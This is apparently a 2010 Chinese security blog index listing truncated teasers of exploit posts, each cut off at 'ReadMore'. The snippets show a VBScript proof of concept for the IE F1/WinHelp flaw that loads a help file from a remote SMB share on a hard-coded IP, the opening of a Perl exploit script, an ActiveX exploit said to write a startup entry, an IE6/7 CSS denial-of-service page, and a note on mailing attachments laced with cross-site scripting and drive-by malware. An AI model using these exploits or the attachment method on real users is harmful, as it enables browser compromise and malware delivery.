测试代码： <html> <script type="text/vbscript"> big = "\\184.73.14.110\PUBLIC\test.hlp" //For i=1 to 2500 // big = big & "\..\" //Next MsgBox "please press F1 to save the world", ,"please save the world", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, ReadMore
利用代码： #!/usr/bin/perl use strict; use Socket; use IO::Socket; print "\n"; print "800008 8 \n"; print "8 e eeeee eeeeeee eeeee 8 eeeee eeeee eeeee\n"; print "8eeeee ReadMore
今天朋友让帮他搞一个IE右键菜单功能快捷入口，一开始研究了半天资料还意为很神奇呢，不过后来发现原来是这么的简单代码如下： 安装文件 代码： Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Internet ReadMore
这段代码在SP3+IE6下测试成功 测试代码： <html> <p align="left"><b><font face="Segoe Script" ReadMore
这个代码会写入启动项，各位看官测试的时候注意了，不会当时生效，重启后可见效果！ 测试代码： <html> <object classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B' id='target' ></object> <script language='vbscript'> targetFile ReadMore
IE6/7 CSS 处理拒绝服务 利用代码： <!-- securitylab.ir K4mr4n_st (at) yahoo (dot) com [email concealed] --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <HTML ReadMore
该漏洞的原理请参考http://snight.org/217.snt 利用方法：在发邮件的时候插入含有跨站和挂马代码的TXT文档就可以了 当对方接收到邮件并点击附件的时候触发此漏洞 漏洞效果 ReadMore
2010年03月03日 |
